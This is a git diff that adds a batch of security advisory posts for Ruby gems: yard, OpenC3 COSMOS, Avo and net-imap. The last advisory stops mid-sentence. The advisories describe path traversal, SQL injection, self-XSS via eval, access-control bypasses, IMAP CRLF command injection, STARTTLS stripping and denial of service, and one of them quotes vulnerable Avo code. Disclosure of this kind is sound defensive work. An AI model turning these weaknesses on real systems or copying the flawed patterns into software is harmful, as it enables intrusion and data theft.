a/advisories/_posts/2026-04-17-CVE-2026-41493.md b/advisories/_posts/2026-04-17-CVE-2026-41493.md new file mode 100644 index 00000000..47bbb11d --- /dev/null +++ b/advisories/_posts/2026-04-17-CVE-2026-41493.md @@ -0,0 +1,51 @@ +--- +layout: advisory +title: 'CVE-2026-41493 (yard): Possible arbitrary path traversal and file access via + yard server' +comments: false +categories: +- yard +advisory: + gem: yard + cve: 2026-41493 + ghsa: 3jfp-46x4-xgfj + url: https://nvd.nist.gov/vuln/detail/CVE-2026-41493 + title: Possible arbitrary path traversal and file access via yard server + date: 2026-04-17 + description: |- + ### Impact + + A path traversal vulnerability was discovered in YARD <= 0.9.41 when + using yard server to serve documentation. This bug would allow + unsanitized HTTP requests to access arbitrary files on the machine + of a yard server host under certain conditions. + + The original patch in [GHSA-xfhh-rx56-rxcr](https://github.com/lsegal/yard/security/advisories/GHSA-xfhh-rx56-rxcr) + was incorrectly applied. + + ### Patches + + Please upgrade to YARD v0.9.42 immediately if you are relying on + yard server to host documentation in any untrusted environments + without WEBrick and rely on `--docroot`. + + ### Workarounds + + For users who cannot upgrade, it is possible to perform path + sanitization of HTTP requests at your webserver level. WEBrick, + for example, can perform such sanitization by default (which + you can use via yard server -s webrick), as can certain rules + in your webserver configuration. + cvss_v3: 7.5 + cvss_v4: 6.9 + patched_versions: + - ">= 0.9.42" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-41493 + - https://github.com/lsegal/yard/releases/tag/v0.9.42 + - https://my.diffend.io/gems/yard/0.9.41/0.9.42 + - https://github.com/lsegal/yard/security/advisories/GHSA-3jfp-46x4-xgfj + - https://github.com/lsegal/yard/security/advisories/GHSA-xfhh-rx56-rxcr + - https://github.com/advisories/GHSA-3jfp-46x4-xgfj +--- diff --git a/advisories/_posts/2026-04-17-GHSA-3jfp-46x4-xgfj.md b/advisories/_posts/2026-04-17-GHSA-3jfp-46x4-xgfj.md new file mode 100644 index 00000000..fdd74c45 --- /dev/null +++ b/advisories/_posts/2026-04-17-GHSA-3jfp-46x4-xgfj.md @@ -0,0 +1,45 @@ +--- +layout: advisory +title: 'GHSA-3jfp-46x4-xgfj (yard): yard - Possible arbitrary path traversal and file + access via yard server' +comments: false +categories: +- yard +advisory: + gem: yard + ghsa: 3jfp-46x4-xgfj + url: https://github.com/lsegal/yard/security/advisories/GHSA-3jfp-46x4-xgfj + title: yard - Possible arbitrary path traversal and file access via yard server + date: 2026-04-17 + description: |- + ### Impact + + A path traversal vulnerability was discovered in YARD <= 0.9.41 when + using yard server to serve documentation. This bug would allow + unsanitized HTTP requests to access arbitrary files on the machine + of a yard server host under certain conditions. + + The original patch in [GHSA-xfhh-rx56-rxcr](https://github.com/lsegal/yard/security/advisories/GHSA-xfhh-rx56-rxcr) + was incorrectly applied. + + ### Patches + + Please upgrade to YARD v0.9.42 immediately if you are relying on yard + server to host documentation in any untrusted environments without + WEBrick and rely on `--docroot`. + + ### Workarounds + + For users who cannot upgrade, it is possible to perform path sanitization + of HTTP requests at your webserver level. WEBrick, for example, can + perform such sanitization by default (which you can use via yard + server -s webrick), as can certain rules in your webserver configuration. + patched_versions: + - ">= 0.9.42" + related: + url: + - https://my.diffend.io/gems/yard/0.9.41/0.9.42 + - https://github.com/lsegal/yard/security/advisories/GHSA-3jfp-46x4-xgfj + - https://github.com/lsegal/yard/security/advisories/GHSA-xfhh-rx56-rxcr + - https://github.com/advisories/GHSA-3jfp-46x4-xgfj +--- diff --git a/advisories/_posts/2026-04-22-CVE-2026-42084.md b/advisories/_posts/2026-04-22-CVE-2026-42084.md new file mode 100644 index 00000000..900c52c4 --- /dev/null +++ b/advisories/_posts/2026-04-22-CVE-2026-42084.md @@ -0,0 +1,52 @@ +--- +layout: advisory +title: 'CVE-2026-42084 (openc3): OpenC3 COSMOS - Hijacked session token can be used + to reset password for persistence' +comments: false +categories: +- openc3 +advisory: + gem: openc3 + cve: 2026-42084 + ghsa: wgx6-g857-jjf7 + url: https://github.com/OpenC3/cosmos/security/advisories/GHSA-wgx6-g857-jjf7 + title: OpenC3 COSMOS - Hijacked session token can be used to reset password for + persistence + date: 2026-04-22 + description: |- + ### Summary + + The OpenC3 password change functionality allows a user to change their + password without providing the old password, by accepting a valid + session token instead. In assumed breach scenarios, this behaviour + can be exploited by an attacker who has already obtained a valid + session token, to gain persistence in hijacked account (including + admin) and prevent legitimate users from accessing the account. + + ### Details + + The design flaw in authentication model ([authentication.rb](https://github.com/OpenC3/cosmos/blob/397abec0d57972881a2e8dc10902d0dce9c27f42/openc3/lib/openc3/utilities/authentication.rb)) + allows for interchangeable use of password and session tokens for + user authentication As old tokens are not revoked upon password + reset, an attacker who has obtained a valid session token can + continue to authenticate and change the account’s password even + after the victim resets it, thereby maintaining persistent control + over the compromised account. + + ### Impact + + Persistence of an attacker who obtained valid session token and + preventing legitimate users from account access. + cvss_v3: 8.1 + patched_versions: + - "~> 6.10.5" + - ">= 7.0.0-rc3" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-42084 + - https://github.com/OpenC3/cosmos/security/advisories/GHSA-wgx6-g857-jjf7 + - https://github.com/OpenC3/cosmos/releases/tag/v7.0.0-rc3 + - https://github.com/OpenC3/cosmos/releases/tag/v6.10.5 + - https://github.com/OpenC3/cosmos/commit/2e623714e3426d5ae81b6f8239d4a2a6937ef776 + - https://github.com/advisories/GHSA-wgx6-g857-jjf7 +--- diff --git a/advisories/_posts/2026-04-22-CVE-2026-42085.md b/advisories/_posts/2026-04-22-CVE-2026-42085.md new file mode 100644 index 00000000..c90ad118 --- /dev/null +++ b/advisories/_posts/2026-04-22-CVE-2026-42085.md @@ -0,0 +1,52 @@ +--- +layout: advisory +title: 'CVE-2026-42085 (openc3): OpenC3 COSMOS allows arbitrary writes to plugins + directory via path-traversed config filenames' +comments: false +categories: +- openc3 +advisory: + gem: openc3 + cve: 2026-42085 + ghsa: 4jvx-93h3-f45h + url: https://github.com/OpenC3/cosmos/security/advisories/GHSA-4jvx-93h3-f45h + title: OpenC3 COSMOS allows arbitrary writes to plugins directory via path-traversed + config filenames + date: 2026-04-22 + description: |- + ### Summary + + OpenC3 COSMOS contains a design flaw in the `save_tool_config()` + function that allows saving tool configuration files at arbitrary + locations inside the shared `/plugins` directory tree by supplying + crafted configuration filenames. Although the implementation + sufficiently mitigates standard path traversal attacks, by + canonicalizing filename to an absolute path, all plugins share this + same root directory. That enables users to create arbitrary file + structures and overwrite existing configuration files within the + shared `/plugins` directory. + + ### Details + + In function `save_tool_config()` ([local_mode.rb](https://github.com/OpenC3/cosmos/blob/397abec0d57972881a2e8dc10902d0dce9c27f42/openc3/lib/openc3/utilities/local_mode.rb#L452)) + responsible for saving user-supplied tool configuration, the desired + saving directory is not sufficiently enforced, instead allowing + writes inside entire `OPENC3_LOCAL_MODE_PATH`. + + ### Impact + + Modifying the data of other plugins. + cvss_v3: 4.3 + patched_versions: + - "~> 6.10.5" + - ">= 7.0.0-rc3" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-42085 + - https://github.com/OpenC3/cosmos/security/advisories/GHSA-4jvx-93h3-f45h + - https://github.com/OpenC3/cosmos/releases/tag/v7.0.0-rc3 + - https://github.com/OpenC3/cosmos/releases/tag/v6.10.5 + - https://github.com/OpenC3/cosmos/commit/9957a9fa460c0c0cf5cdbf6a5931bbdd025246a5 + - https://github.com/OpenC3/cosmos/commit/e6efccbd148ba0e3361c5891027f2373aa140d42 + - https://github.com/advisories/GHSA-4jvx-93h3-f45h +--- diff --git a/advisories/_posts/2026-04-22-CVE-2026-42086.md b/advisories/_posts/2026-04-22-CVE-2026-42086.md new file mode 100644 index 00000000..84746aff --- /dev/null +++ b/advisories/_posts/2026-04-22-CVE-2026-42086.md @@ -0,0 +1,43 @@ +--- +layout: advisory +title: 'CVE-2026-42086 (openc3): OpenC3 COSMOS is Vulnerable to Self-XSS Through the + Command Sender' +comments: false +categories: +- openc3 +advisory: + gem: openc3 + cve: 2026-42086 + ghsa: ffq5-qpvf-xq7x + url: https://github.com/OpenC3/cosmos/security/advisories/GHSA-ffq5-qpvf-xq7x + title: OpenC3 COSMOS is Vulnerable to Self-XSS Through the Command Sender + date: 2026-04-22 + description: |- + ### Summary + + The Command Sender UI uses an unsafe `eval()` function on array-like + command parameters, which allows a user-supplied payload to execute + in the browser when sending a command. This creates a self-XSS risk + because an attacker can trigger their own script execution in the + victim’s session, if allowed to influence the array parameter input, + for example via phishing. If successful, an attacker may read or + modify data in the authenticated browser context, including session + tokens in local storage. + + ### Details + + The unsafe `eval()` usage on user-supplied ARRAY parameters happens + in `convertToValue` method in [CommandSender.vue](https://github.com/OpenC3/cosmos/blob/main/openc3-cosmos-init/plugins/packages/openc3-cosmos-tool-cmdsender/src/tools/CommandSender/CommandSender.vue) + + ### Impact + + Local JavaScript execution in the user's browser. + cvss_v3: 4.6 + patched_versions: + - ">= 7.0.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-42086 + - https://github.com/OpenC3/cosmos/security/advisories/GHSA-ffq5-qpvf-xq7x + - https://github.com/advisories/GHSA-ffq5-qpvf-xq7x +--- diff --git a/advisories/_posts/2026-04-23-CVE-2026-42087.md b/advisories/_posts/2026-04-23-CVE-2026-42087.md new file mode 100644 index 00000000..6272e6e5 --- /dev/null +++ b/advisories/_posts/2026-04-23-CVE-2026-42087.md @@ -0,0 +1,49 @@ +--- +layout: advisory +title: 'CVE-2026-42087 (openc3): OpenC3 COSMOS has SQL Injection in QuestDB Time-Series + Database' +comments: false +categories: +- openc3 +advisory: + gem: openc3 + cve: 2026-42087 + ghsa: v529-vhwc-wfc5 + url: https://github.com/OpenC3/cosmos/security/advisories/GHSA-v529-vhwc-wfc5 + title: OpenC3 COSMOS has SQL Injection in QuestDB Time-Series Database + date: 2026-04-23 + description: |- + Vulnerability Type: CWE-89: Improper Neutralization of Special Elements + used in an SQL Command ('SQL Injection') + + Attack type: Authenticated remote + + Impact: Telemetry data disclosure and deletion + + Affected components: openc3-tsdb (QuestDB) + + A SQL injection vulnerability exists in the Time-Series Database (TSDB) + component of COSMOS. The `tsdb_lookup` function in the `cvt_model.rb` + file directly places user-supplied input into a SQL query without + sanitizing the input. As a result, a user can break out of the initial + SQL statement and execute arbitrary SQL commands, including deleting data. + + ## Recommendations + + * Sanitize all user-supplied input before executing it. + * Use prepared statements with parameterized queries when + executing SQL statements. + cvss_v3: 9.6 + unaffected_versions: + - "< 6.7.0" + patched_versions: + - ">= 7.0.0" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-42087 + - https://rubygems.org/gems/openc3/versions/7.0.0 + - https://github.com/OpenC3/cosmos/releases/tag/v7.0.0 + - https://github.com/OpenC3/cosmos/security/advisories/GHSA-v529-vhwc-wfc5 + - https://github.com/OpenC3/cosmos/commit/9ba60c09c8836a37a2e4ea67ab35fe403e041415 + - https://github.com/advisories/GHSA-v529-vhwc-wfc5 +--- diff --git a/advisories/_posts/2026-04-23-GHSA-2wvh-87g2-89hr.md b/advisories/_posts/2026-04-23-GHSA-2wvh-87g2-89hr.md new file mode 100644 index 00000000..bbf67fee --- /dev/null +++ b/advisories/_posts/2026-04-23-GHSA-2wvh-87g2-89hr.md @@ -0,0 +1,52 @@ +--- +layout: advisory +title: 'GHSA-2wvh-87g2-89hr (openc3): OpenC3 COSMOS - Permissions Bypass Provides + User Access to Unassigned Administrative Actions via Script Runner Tool' +comments: false +categories: +- openc3 +advisory: + gem: openc3 + ghsa: 2wvh-87g2-89hr + url: https://github.com/OpenC3/cosmos/security/advisories/GHSA-2wvh-87g2-89hr + title: OpenC3 COSMOS - Permissions Bypass Provides User Access to Unassigned Administrative + Actions via Script Runner Tool + date: 2026-04-23 + description: |- + Vulnerability Type: Execution with Unnecessary Privileges Attack + type: Authenticated remote + + Impact: Data disclosure/manipulation, privilege escalation + + Affected components: + + * The following docker images: Openc3inc/openc3-COSMOS-script-runner-api + + The Script Runner widget allows users to execute Python and Ruby + scripts directly from the openc3-COSMOS-script-runner-api container. + Because all the docker containers share a network, users can execute + specially crafted scripts to bypass the API permissions check and + perform administrative actions, including reading and modifying data + inside the Redis database, which can be used to read secrets and + change COSMOS settings, as well as read and write to the buckets + service, which holds configuration, log,and plugin files. These + actions are normally only available from the Admin Console or with + administrative privileges. Any user with permission to create and + run scripts can connect to any service in the docker network. + + ## Recommendations + + * Limit the permissions of the script runner API to prevent lower + level users from performing administrative actions. + cvss_v3: 9.6 + patched_versions: + - ">= 7.0.0" + related: + url: + - https://github.com/OpenC3/cosmos/security/advisories/GHSA-2wvh-87g2-89hr + - https://rubygems.org/gems/openc3/versions/7.0.0 + - https://github.com/OpenC3/cosmos/releases/tag/v7.0.0 + - https://www.linkedin.com/posts/vulert_critical-permissions-bypass-in-openc3-cosmos-activity-7453420840760774656-RMv1 + - https://www.miggo.io/vulnerability-database/cve/GHSA-2wvh-87g2-89hr + - https://github.com/advisories/GHSA-2wvh-87g2-89hr +--- diff --git a/advisories/_posts/2026-04-24-CVE-2026-42205.md b/advisories/_posts/2026-04-24-CVE-2026-42205.md new file mode 100644 index 00000000..28f06f26 --- /dev/null +++ b/advisories/_posts/2026-04-24-CVE-2026-42205.md @@ -0,0 +1,79 @@ +--- +layout: advisory +title: 'CVE-2026-42205 (avo): Broken Access Control Through Unauthorized Execution + of Arbitrary Action Classes Across Resources' +comments: false +categories: +- avo +advisory: + gem: avo + cve: 2026-42205 + ghsa: qc5p-3mg5-9fh8 + url: https://github.com/avo-hq/avo/security/advisories/GHSA-qc5p-3mg5-9fh8 + title: Broken Access Control Through Unauthorized Execution of Arbitrary Action + Classes Across Resources + date: 2026-04-24 + description: |- + ### Summary + + A critical Broken Access Control vulnerability was identified in the + `ActionsController` of the Avo framework (v3.x). Due to insecure + action lookup logic, an authenticated user can execute any Action + class (descendants of `Avo::BaseAction`) on any resource, even if + the action is not registered for that specific resource. This leads + to Privilege Escalation and unauthorized data manipulation across + the entire application. + + ### Details + + The vulnerability exists in the `action_class` method within + `app/controllers/avo/actions_controller.rb`. + + #### Vulnerable Code + + ```ruby + def action_class + # It searches through ALL descendants of BaseAction without + # resource validation. + Avo::BaseAction.descendants.find do |action| + action.to_s == params[:action_id] + end + end + ``` + + The controller identifies the action class to execute solely based + on the `params[:action_id]` by searching through all `BaseAction` + descendants. It fails to verify whether the requested action is + actually permitted or registered for the resource context specified + in the request URL (e.g., `/admin/resources/posts/actions`). + + Consequently, an attacker can invoke sensitive actions (e.g., + `Avo::Actions::ToggleAdmin`) through an unrelated resource endpoint + (e.g., `Post`), bypassing the intended resource-action mapping. + + ### Impact + + This flaw results in significant security risks: + + - **Privilege Escalation:** An authenticated user with low privileges + can execute administrative actions (like toggling admin roles) to + escalate their own or others' permissions. + - **Unauthorized Operations:** Actions designed for restricted + resources can be triggered against any record ID in the database. + - **Data Integrity Compromise:** Attackers can perform unauthorized + destructive operations (e.g., Delete, Archive, or Update) on records + they should not have access to. + + ### CREDIT + + Illunight + cvss_v3: 8.8 + patched_versions: + - ">= 3.31.1" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2026-42205 + - https://github.com/avo-hq/avo/releases/tag/v3.31.1 + - https://github.com/avo-hq/avo/security/advisories/GHSA-qc5p-3mg5-9fh8 + - https://github.com/advisories/GHSA-qc5p-3mg5-9fh8 +--- diff --git a/advisories/_posts/2026-05-04-CVE-2026-42245.md b/advisories/_posts/2026-05-04-CVE-2026-42245.md new file mode 100644 index 00000000..e9deee4b --- /dev/null +++ b/advisories/_posts/2026-05-04-CVE-2026-42245.md @@ -0,0 +1,75 @@ +--- +layout: advisory +title: 'CVE-2026-42245 (net-imap): net-imap has quadratic complexity when reading + response literals' +comments: false +categories: +- net-imap +advisory: + gem: net-imap + cve: 2026-42245 + ghsa: q2mw-fvj9-vvcw + url: https://github.com/ruby/net-imap/security/advisories/GHSA-q2mw-fvj9-vvcw + title: net-imap has quadratic complexity when reading response literals + date: 2026-05-04 + description: |- + ### Summary + + `Net::IMAP::ResponseReader` has quadratic time complexity when reading large + responses containing many string literals. A hostile server can send + responses which are crafted to exhaust the client's CPU for a denial of + service attack. + + ### Details + + For each literal in a response, `ResponseReader` rescans the entire growing + response buffer. The regular expression that is used to scan the response + buffer runs in linear time. With many literals, this becomes O(n²) total + work. The regular expression should run in constant time: it is anchored to + the end and only the last 23 bytes of the buffer are relevant. + + Because the algorithmic complexity is super-linear, this bypasses protection + from `max_response_size`: a response can stay well below the default size + limit while still causing very large CPU cost. + + `Net::IMAP::ResponseReader` runs continuously in the receiver thread until the + connection closes. + + ### Impact + + This consumes disproportionate CPU time in the client's receiver thread. A + hostile server could use this to exhaust the client's CPU for a denial of + service attack. + + For a response near the default `max_response_size`, each individual regexp + scan could take between 100 to 200ms on common modern hardware, and this may + be repeated 200k times per megabyte of response. While the regexp is + scanning, it retains the Global VM lock, preventing other threads from + running. + + Although other threads should not be _completely_ blocked, their run time will + be significantly impacted. + + ### Mitigation + * Upgrade to a patched version of net-imap that reads responses more efficiently. + * Do not connect to untrusted IMAP servers. + * When connecting to untrusted servers, a _much_ smaller `max_response_size` + (for example: 8KiB) will limit the impact. Although this is too small for + fetching unpaginated message bodies, it should be enough for most other + operations. + cvss_v4: 2.3 + patched_versions: + - "~> 0.4.24" + - "~> 0.5.14" + - ">= 0.6.4" + related: + url: + - https://github.com/ruby/net-imap/security/advisories/GHSA-q2mw-fvj9-vvcw + - https://github.com/ruby/net-imap/commit/6091f7d6b1f3514cafbfe39c76f2b5d73de3ca96 + - https://github.com/ruby/net-imap/commit/88d95231fc8afef11c1f074453f7d75b68c9dfda + - https://github.com/ruby/net-imap/commit/de685f91a4a4cc75eb80da898c2bf8af08d34819 + - https://github.com/ruby/net-imap/releases/tag/v0.4.24 + - https://github.com/ruby/net-imap/releases/tag/v0.5.14 + - https://github.com/ruby/net-imap/releases/tag/v0.6.4 + - https://github.com/advisories/GHSA-q2mw-fvj9-vvcw +--- diff --git a/advisories/_posts/2026-05-04-CVE-2026-42246.md b/advisories/_posts/2026-05-04-CVE-2026-42246.md new file mode 100644 index 00000000..f7b2c45f --- /dev/null +++ b/advisories/_posts/2026-05-04-CVE-2026-42246.md @@ -0,0 +1,72 @@ +--- +layout: advisory +title: 'CVE-2026-42246 (net-imap): net-imap vulnerable to STARTTLS stripping via invalid + response timing' +comments: false +categories: +- net-imap +advisory: + gem: net-imap + cve: 2026-42246 + ghsa: vcgp-9326-pqcp + url: https://github.com/ruby/net-imap/security/advisories/GHSA-vcgp-9326-pqcp + title: net-imap vulnerable to STARTTLS stripping via invalid response timing + date: 2026-05-04 + description: |- + ### Summary + + A man-in-the-middle attacker can cause `Net::IMAP#starttls` to return + "successfully", without starting TLS. + + ### Details + + When using `Net::IMAP#starttls` to upgrade a plaintext connection to use TLS, + a man-in-the-middle attacker can inject a tagged `OK` response with an easily + predictable tag. By sending the response before the client finishes sending + the command, the command completes "successfully" before the response handler + is registered. This allows `#starttls` to return without error, but the + response handler is never invoked, the TLS connection is never established, + and the socket remains unencrypted. + + This allows man-in-the-middle attackers to perform a STARTTLS stripping + attack, unless the client code explicitly checks `Net::IMAP#tls_verified?`. + + ### Impact + + TLS bypass, leading to cleartext transmission of sensitive information. + + ### Mitigation + + * Upgrade to a patched version of net-imap that raises an exception whenever + `#starttls` does not establish TLS. + * Connect to an implicit TLS port, rather than use `STARTTLS` with a cleartext + port. + This is strongly recommended anyway: + * [RFC 8314](https://www.rfc-editor.org/info/rfc8314): Cleartext Considered + Obsolete: Use of Transport Layer Security (TLS) for Email Submission and + Access + * [NO STARTTLS](https://nostarttls.secvuln.info/): Why TLS is better without + STARTTLS, A Security Analysis of STARTTLS in the Email Context + * Explicitly verify `Net::IMAP#tls_verified?` is `true`, before using the + connection after `#starttls`. + cvss_v4: 7.6 + patched_versions: + - "~> 0.3.10" + - "~> 0.4.24" + - "~> 0.5.14" + - ">= 0.6.4" + related: + url: + - https://github.com/ruby/net-imap/security/advisories/GHSA-vcgp-9326-pqcp + - https://github.com/ruby/net-imap/commit/0ede4c40b1523dfeaf95777b2678e54cc0fd9618 + - https://github.com/ruby/net-imap/commit/24a4e770b43230286a05aa2a9746cdbb3eb8485e + - https://github.com/ruby/net-imap/commit/97e2488fb5401a1783bddd959dde007d9fbce42c + - https://github.com/ruby/net-imap/commit/f79d35bf5833f186e81044c57c843eda30c873da + - https://github.com/ruby/net-imap/releases/tag/v0.3.10 + - https://github.com/ruby/net-imap/releases/tag/v0.4.24 + - https://github.com/ruby/net-imap/releases/tag/v0.5.14 + - https://github.com/ruby/net-imap/releases/tag/v0.6.4 + - https://nostarttls.secvuln.info + - https://www.rfc-editor.org/info/rfc8314 + - https://github.com/advisories/GHSA-vcgp-9326-pqcp +--- diff --git a/advisories/_posts/2026-05-04-CVE-2026-42256.md b/advisories/_posts/2026-05-04-CVE-2026-42256.md new file mode 100644 index 00000000..85783787 --- /dev/null +++ b/advisories/_posts/2026-05-04-CVE-2026-42256.md @@ -0,0 +1,89 @@ +--- +layout: advisory +title: 'CVE-2026-42256 (net-imap): net-imap vulnerable to denial of service via high + iteration count for `SCRAM-*` authentication' +comments: false +categories: +- net-imap +advisory: + gem: net-imap + cve: 2026-42256 + ghsa: 87pf-fpwv-p7m7 + url: https://github.com/ruby/net-imap/security/advisories/GHSA-87pf-fpwv-p7m7 + title: net-imap vulnerable to denial of service via high iteration count for `SCRAM-*` + authentication + date: 2026-05-04 + description: |- + ### Summary + + When authenticating a connection with `SCRAM-SHA1` or `SCRAM-SHA256`, a + hostile server can perform a computational denial-of-service attack on the + client process by sending a big iteration count value. + + ### Details + + A hostile IMAP server can send an arbitrarily large PBKDF2 iteration count in + the SCRAM server-first-message, causing the client to perform an expensive + `OpenSSL::KDF.pbkdf2_hmac` call. Because the PBKDF2 function is a blocking C + extension and holds onto Ruby’s Global VM Lock, it can freeze the entire Ruby + VM for the duration of the computation. + + OpenSSL enforces an effective maximum by using a 32-bit signed integer for the + iteration count, Depending on hardware capabilities and OpenSSL version, this + iteration count may be sufficient for to block all Ruby threads in the process + for over seven minutes. + + This is listed as one of the \"Security Considerations\", in [RFC + 7804](https://www.rfc-editor.org/rfc/rfc7804.html#page-15): + + > A hostile server can perform a computational denial-of-service attack on + > clients by sending a big iteration count value. In order to defend against + > that, a client implementation can pick a maximum iteration count that it is + > willing to use and reject any values that exceed that threshold (in such + > cases, the client, of course, has to fail the authentication). + + ### Impact + + During SCRAM authentication to a hostile server, the entire Ruby VM will be + locked for the duration of the computation. Depending on hardware + capabilities and OpenSSL version, this may take many minutes. + + `OpenSSL::KDF.pbkdf2_hmac` is a blocking C function, so `Timeout` cannot be + used to guard against this. And it retains the Global VM lock, so other ruby + threads will also be unable to run. + + ### Mitigation + + * Upgrade to a patched version of `net-imap` that adds the `max_iterations` + option to the `SASL-*` authenticators, and call `Net::IMAP#authenticate` + with a `max_iterations` keyword argument. + + **NOTE:** The default `max_iterations` is `2³¹ - 1`, the maximum signed 32 + bit integer, the maximum allowed by OpenSSL. + + _To prevent a denial of service attack,_ this must be set to a safe value, + depending on hardware and version of OpenSSL. _It is the user's + responsibility_ to enforce minimum and maximum iteration counts that are + appropriate for their security context. + + * Alternatively, avoid `SCRAM-*` mechanisms when authenticating to untrusted + servers. + cvss_v4: 6.0 + unaffected_versions: + - "< 0.4.0" + patched_versions: + - "~> 0.4.24" + - "~> 0.5.14" + - ">= 0.6.4" + related: + url: + - https://github.com/ruby/net-imap/security/advisories/GHSA-87pf-fpwv-p7m7 + - https://github.com/ruby/net-imap/commit/158d0b505074397cdb5ceb58935e42dd2bcfa612 + - https://github.com/ruby/net-imap/commit/808001bc45c06f7297a7e96d341279e041a7f7f4 + - https://github.com/ruby/net-imap/commit/99f59eab6064955a23debd95410263ad144df758 + - https://github.com/ruby/net-imap/releases/tag/v0.4.24 + - https://github.com/ruby/net-imap/releases/tag/v0.5.14 + - https://github.com/ruby/net-imap/releases/tag/v0.6.4 + - https://www.rfc-editor.org/rfc/rfc7804.html#page-15 + - https://github.com/advisories/GHSA-87pf-fpwv-p7m7 +--- diff --git a/advisories/_posts/2026-05-04-CVE-2026-42257.md b/advisories/_posts/2026-05-04-CVE-2026-42257.md new file mode 100644 index 00000000..5dbb7642 --- /dev/null +++ b/advisories/_posts/2026-05-04-CVE-2026-42257.md @@ -0,0 +1,129 @@ +--- +layout: advisory +title: 'CVE-2026-42257 (net-imap): net-imap vulnerable to command Injection via "raw" + arguments to multiple commands' +comments: false +categories: +- net-imap +advisory: + gem: net-imap + cve: 2026-42257 + ghsa: hm49-wcqc-g2xg + url: https://github.com/ruby/net-imap/security/advisories/GHSA-hm49-wcqc-g2xg + title: net-imap vulnerable to command Injection via "raw" arguments to multiple + commands + date: 2026-05-04 + description: |- + ### Summary + + Several `Net::IMAP` commands accept a raw string argument that is sent to the + server without validation or escaping. If this string is derived from + user-controlled input, it may contain contain `CRLF` sequences, which an + attacker can use to inject arbitrary IMAP commands. + + ### Details + + `Net::IMAP`'s generic argument handling, used by most command arguments, + interprets string arguments as an IMAP `astring`. Depending on the string + contents and the connection's UTF-8 support, this encodes strings as either a + `atom`, `quoted`, or `literal`. These are safe from command or argument + injection. + + But the following commands transform specific String arguments to + `Net::IMAP::RawData`, which bypasses normal argument validation and encoding + and prints the string directly to the socket: + + * `#uid_search`, `#search` + * when `criteria` is a String, it is sent raw + * `#uid_fetch`, `#fetch` + * when `attr` is a String, it is sent raw + * when `attr` is an Array, each String in `attr` is sent raw + * `#uid_store`, `#store` + * when `attr` is a String, it is sent raw + * `#setquota`: + * `limit` is interpolated with `#to_s` and that string is sent raw + + Because these string arguments are sent without any neutralization, they serve + as a direct vector for command splitting. Any user controlled data + interpolated into these strings can be used to break out of the intended + command context. + + Using "raw data" arguments for `#uid_store`, `#store`, and `#setquota` I both + inappropriate and unnecessary. `Net::IMAP`'s generic argument handling is + sufficient to safely validate and encode their arguments. Users of the + library probably do not expect arguments to these commands to be sent raw and + might not be wary of passing unvalidated input. + + The API for search criteria and fetch attributes is intentionally low-level + and "close to the wire". It allows developers to use some IMAP extensions + without requiring explicit support from the library and allows developers to + use complex IMAP grammar without complex argument translation. Even so, basic + validation is appropriate and could neutralize command injection. + + Although this was explicitly documented for search `criteria`, it was + insufficiently documented for fetch `attr`. So developers may not have + realized that the `attr` argument to `#fetch` and `#uid_fetch` is sent as "raw + data". + + ### Impact + + If a developer passes an unvalidated user-controlled input for one of these + method arguments, an attacker can append CRLF sequence followed by a new IMAP + command (like DELETE mailbox). Although this does not _directly_ enable data + exfiltration, it could be combined with other attack vectors or knowledge of + the target system's attributes, e.g.: shared mail folders or the application's + installed response handlers. + + The SEARCH, STORE, and FETCH commands, and their UID variants are some of the + most commonly used features of the library. Applications that build search + queries or fetch attributes dynamically based on user input (e.g., mail + clients or archival tools) may be at significant risk. + + Expected use of `Net::IMAP#setquota` is much more limited: `SETQUOTA` is often + only usable by users with special administrative privileges. Depending on the + server, quota administration might be managed through server configuration + rather than via the IMAP protocol `SETQUOTA` command. It is expected to be + uncommonly used in system administration scripts or in interactive sessions, + it should be completely controlled by trusted users, and should only use + trusted inputs. Calling `#setquota` with untrusted user input is expected to + be a very uncommon use case. Please note however this might be combined with + other attacks, for example CSRF, which provide unauthorized access to trusted + inputs, and may specifically target users or scripts with administrator + privileges. + + ### Mitigation + + - Update to a patched version of `net-imap` which: + - validates that `Net::IMAP::RawData` is composed of well-formed IMAP + `text`, `literal`, and `literal8` values, with no unescaped `NULL`, `CR`, + or `LF` bytes. + - does not use `Net::IMAP::RawData` for `#store`, `#uid_store`, or + `#setquota`. + - Prefer to send search criteria as an array of key value pairs. Avoid + sending it as an interpolated string. + - If an immediate upgrade is not possible: + - String inputs to search criteria and fetch attributes can be validated + against command injection by checking for `\r` and `\n` characters. + - Hard-coding the store `attr` argument is often appropriate. + Alternatively, user controlled inputs can be restricted to a small + enumerated list which is valid for the calling application. + - Use `Kernel#Integer` to coerce and validate user controlled inputs to + `#setquota` limit. + cvss_v4: 5.8 + patched_versions: + - "~> 0.4.24" + - "~> 0.5.14" + - ">= 0.6.4" + related: + url: + - https://github.com/ruby/net-imap/security/advisories/GHSA-hm49-wcqc-g2xg + - https://github.com/ruby/net-imap/commit/0ec4fd351263e8b9a4f683713427827b7b1ad974 + - https://github.com/ruby/net-imap/commit/47c72186d272441878ca73c9499f66013829ca2f + - https://github.com/ruby/net-imap/commit/6bf02aef7e0b5931010c36e377f79a71636b306b + - https://github.com/ruby/net-imap/commit/a4f7649c3da77dec7631f03a037a478eb4330048 + - https://github.com/ruby/net-imap/commit/aec06996eb87a7e1bbcef1f9f8926e8add2b8c71 + - https://github.com/ruby/net-imap/releases/tag/v0.4.24 + - https://github.com/ruby/net-imap/releases/tag/v0.5.14 + - https://github.com/ruby/net-imap/releases/tag/v0.6.4 + - https://github.com/advisories/GHSA-hm49-wcqc-g2xg +--- diff --git a/advisories/_posts/2026-05-04-CVE-2026-42258.md b/advisories/_posts/2026-05-04-CVE-2026-42258.md new file mode 100644 index 00000000..177f57c3 --- /dev/null +++ b/advisories/_posts/2026-05-04-CVE-2026-42258.md @@ -0,0 +1,89 @@ +--- +layout: advisory +title: 'CVE-2026-42258 (net-imap): net-imap vulnerable to command Injection via unvalidated + Symbol inputs' +comments: false +categories: +- net-imap +advisory: + gem: net-imap + cve: 2026-42258 + ghsa: 75xq-5h9v-w6px + url: https://github.com/ruby/net-imap/security/advisories/GHSA-75xq-5h9v-w6px + title: net-imap vulnerable to command Injection via unvalidated Symbol inputs + date: 2026-05-04 + description: |- + ### Summary + + Symbol arguments to commands are vulnerable to a CRLF Injection / IMAP Command + injection via Symbol 